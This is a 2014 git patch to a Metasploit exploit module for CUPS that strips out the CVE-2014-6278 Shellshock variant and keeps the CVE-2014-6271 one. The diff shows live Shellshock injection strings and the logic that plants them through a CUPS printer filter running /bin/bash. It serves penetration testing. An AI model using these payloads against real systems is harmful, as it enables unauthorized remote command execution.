From 78b199fe7234828fb3b5307ebc01e3acb30e0a7f Mon Sep 17 00:00:00 2001
From: Brendan Coles <bcoles@gmail.com>
Date: Tue, 28 Oct 2014 16:18:24 +0000
Subject: [PATCH] Remove CVE-2014-6278

---
 .../exploits/multi/http/cups_bash_env_exec.rb | 19 +------------------
 1 file changed, 1 insertion(+), 18 deletions(-)

diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb
index 8e438ee97a..dc955504f0 100644
--- a/modules/exploits/multi/http/cups_bash_env_exec.rb
+++ b/modules/exploits/multi/http/cups_bash_env_exec.rb
@@ -19,7 +19,6 @@ class Metasploit4 < Msf::Exploit::Remote
       },
       'Author' => [
         'Stephane Chazelas', # Vulnerability discovery
-        'lcamtuf', # CVE-2014-6278
         'Brendan Coles <bcoles[at]gmail.com>' # msf
       ],
       'References' => [
@@ -54,7 +53,6 @@ class Metasploit4 < Msf::Exploit::Remote
       OptBool.new('SSL', [ true, 'Use SSL', true ]),
       OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
       OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
-      OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
       OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
     ], self.class)
   end
@@ -66,13 +64,6 @@ class Metasploit4 < Msf::Exploit::Remote
     %{() { :;}; $(#{cmd}) & }
   end
 
-  #
-  # CVE-2014-6278
-  #
-  def cve_2014_6278(cmd)
-    %{() { _; } >_[$($())] { $(#{cmd}) & }}
-  end
-
   #
   # Check credentials
   #
@@ -107,17 +98,9 @@ class Metasploit4 < Msf::Exploit::Remote
     @cookie = rand_text_alphanumeric(16)
     printer_name = rand_text_alphanumeric(10 + rand(5))
 
-    # Select target CVE
-    case datastore['CVE']
-    when 'CVE-2014-6278'
-      cmd = cve_2014_6278(payload.raw)
-    else
-      cmd = cve_2014_6271(payload.raw)
-    end
-
     # Add a printer containing the payload
     # with a CUPS filter pointing to /bin/bash
-    res = add_printer(printer_name, cmd)
+    res = add_printer(printer_name, cve_2014_6271(payload.raw))
     if !res
       fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
     elsif res.body =~ /Set Default Options for #{printer_name}/